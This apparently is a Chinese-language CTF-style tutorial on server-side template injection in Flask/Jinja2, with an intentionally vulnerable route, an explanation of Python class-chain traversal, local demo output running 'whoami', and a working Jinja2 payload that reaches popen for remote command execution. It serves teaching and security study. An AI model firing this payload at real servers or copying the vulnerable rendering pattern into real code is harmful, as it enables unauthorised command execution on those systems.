SSTI(Server-Side Template Injection),服务端模板注入。

一、预备知识

1.模板引擎

模板引擎(特指web端的模板引擎)是为了分离用户界面和业务数据产生的,通过生成特定格式的文档,利用模板引擎生成前端的html代码,只需要获取用户数据放入渲染函数里即可生成模板+用户数据的前端页面呈现给用户浏览器。

2.SSTI

现如今的一些框架,像python的flaskphp的thinkphpjava的spring等一般都是使用成熟MVC模式:

  1. 用户的输入先进入Controller控制器
  2. 根据请求类型和请求指令发送到对应Model业务模型进行业务逻辑判断和数据库存取
  3. 将结果返回到View视图层,经过模板渲染后展现给用户

而SSTI漏洞成因就是因为服务端接收用户输入后,未做任何处理就将其作为Web应用模板内容的一部分,模板引擎进行目标编译渲染时,执行了用户输入的恶意语句,从而导致敏感信息泄露、RCE、getshell等问题。

二、常见SSTI问题

1.python中的ssti-jinja2

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string

app = Flask(__name__)
@app.route('/ssti')
def ssti_view():
user_input = request.args.get('input', 'guest')
template_code = f'''
<div style="text-align: center; margin-top: 50px; font-family: sans-serif;">
<h3>Hello, {user_input}</h3>
</div>
'''
return render_template_string(template_code)
if __name__ == "__main__":
app.run(debug=True, host='127.0.0.1', port=5000)

此时默认的模板解释参数为guest,分析代码可知此时服务端的运行逻辑是接收前端输入的input参数,将其返回到后端拼接后返回前端进行展示

两种主要的模板渲染函数:

render_template(): 用于渲染一个指定的模板文件;

render_template_string(): 用于渲染一个作为输入的字符串

Jinja2模板引擎使用双大括号{{ }}作为变量包裹标识符,当模板函数(尤其是在使用字符串作为模板的场景)进行渲染时,它会把{{ }}包裹起来的内容当作变量或表达式进行解析替换。

模板注入漏洞的成因就是渲染函数在渲染时,往往不会对用户输入的变量做渲染,而是直接替换。然而,如果用户输入的数据包含了 Jinja2 的变量包裹标识符{{}},那么用户输入的内容就会被解析执行。(像 2*2 被解析成 4 )

继承关系

在 Python 中,所有类都默认或显式地继承自一个基类,即内置的 object 类。SSTI 攻击利用的就是 Python 模板引擎在渲染用户输入时,用户可以通过一系列魔术方法进行“类继承链漫游”,最终找到一个可以执行系统命令或读取文件的危险函数/模块。

1
2
3
4
5
6
7
8
9
10
11
class a:pass
class b(a):pass
class c(b):pass
c = c()
print(c.__class__)#__class__:找到它的当前类
print(c.__class__.__base__)#__base__:找到当前类的父类,也就是b类
print(c.__class__.__base__.__base__)#a类
print(c.__class__.__base__.__base__.__base__)#a类的父类,object类
print(c.__class__.__mro__)#包含所有父类的元组,与 __base__ 类似,但可以获取多个父类
print(c.__class__.__mro__[3])#加上下标就能拿到指定的类
print(c.__class__.__mro__[3].__subclasses__())#返回一个列表,包含所有直接继承自该类的子类。这是关键,因为通过它,可以从object遍历到所有当前运行环境中加载的类,包括含有我们RCE所需的函数/模块的类
1
2
3
4
5
6
7
8
[Running] python -u "d:\desktop\src\code\CTF\tempCodeRunnerFile.py"
<class '__main__.c'>
<class '__main__.b'>
<class '__main__.a'>
<class 'object'>
(<class '__main__.c'>, <class '__main__.b'>, <class '__main__.a'>, <class 'object'>)
<class 'object'>
[<class 'type'>, <class 'async_generator'>, ...

在这串代码里面,创建了a、b、c三个类,c类继承b类,b类继承a类,a类默认继承object类。

这里读取object类的子类的时候,输出不换行,而且检索比较麻烦,这里写了一个通用脚本来给输出进行换行和编号,便于我们找到指定的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re

subclasses_string = (
"<class 'type'>, <class 'async_generator'>, ..., <class '__main__.a'>")#这里替换输出
pattern = r"<class\s+.*?>"
class_list = re.findall(pattern, subclasses_string)

output_filename = "subclasses.txt"

try:
with open(output_filename, 'w', encoding='utf-8') as f:
output_content = "\n".join(class_list)
f.write(output_content)

print(f"成功将 {len(class_list)} 个子类信息输出到文件:{output_filename}")
print("文件内容一个类占一行。")

except IOError:
print(f"写入文件 {output_filename} 时发生错误。请检查文件权限。")

检索输出得到的信息,找我们能拿来进行RCCE的类,这里就给出一个类<class ‘os._wrap_close’>,索引是170,但是首位是0,所以应该是列表的第169个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class a:pass
class b(a):pass
class c(b):pass
c = c()
print(c.__class__)#__class__:找到它的当前类
print(c.__class__.__base__)#__base__:找到当前类的父类,也就是b类
print(c.__class__.__base__.__base__)#a类
print(c.__class__.__base__.__base__.__base__)#a类的父类,object类
print(c.__class__.__mro__)#包含所有父类的元组,与 __base__ 类似,但可以获取多个父类
print(c.__class__.__mro__[3])#加上下标就能拿到指定的类
#print(c.__class__.__mro__[3].__subclasses__())
# #返回一个列表,包含所有直接继承自该类的子类。这是关键,因为通过它,可以从object遍历到所有当前运行环境中加载的类,包括含有我们RCE所需的函数/模块的类
print(c.__class__.__mro__[3].__subclasses__()[169])
print(c.__class__.__mro__[3].__subclasses__()[169].__init__)
#__init__ 返回一个函数对象,获取一个可以访问__globals__ 字典的跳板,从而访问到内置函数集__builtins__
#print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__)
#很多全局变量都在里面,我们需要进行rce,就要找到能执行系统命令的方法。这里用popen函数来执行系统命令
print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__['popen'])
print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__['popen']('whoami').read())
1
2
3
4
5
6
7
8
9
10
11
[Running] python -u "d:\desktop\src\code\CTF\python_class.py"
<class '__main__.c'>
<class '__main__.b'>
<class '__main__.a'>
<class 'object'>
(<class '__main__.c'>, <class '__main__.b'>, <class '__main__.a'>, <class 'object'>)
<class 'object'>
<class 'os._wrap_close'>
<function _wrap_close.__init__ at 0x000001C4097E1010>
<function popen at 0x000001C4097E0EB0>
wolf\admin

通过找到指定的类之后,攻击链通常是类—-类的构造函数—-构造函数所处的模块全局变量,所以需要__init__作为跳板,来获得__globals__ 字典。

这里执行命令要用 read()方法来读取数据,因为popen函数会执行传入的 shell 命令,并返回一个文件对象,而不是我们需要的命令回显数据。

最后可以看到成功执行命令,这也是一般ssti的攻击思路。

魔术方法

总结一下常用的的魔术方法

属性/方法 返回值
.__class__ 对象的类
.__base__ 类的直接父类
.__bases__ 所有直接父类的元组
.__mro__ 方法解析顺序元组
.__subclasses__() 继承自该类的所有子类的列表
.__init__ 类的构造函数
.__globals__ 函数所在模块的全局命名空间
['__builtins__'] Python 的内置函数集
.__import__() Python 的导入函数

SSTI注入

payload:

1
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['popen']('whoami').read()}}

我们不知道有哪些现成的类,可以用’’.__class__或者””.__class__,返回的就是<class ‘str’>,此时访问父类就是object。

(其他类型有待更新…)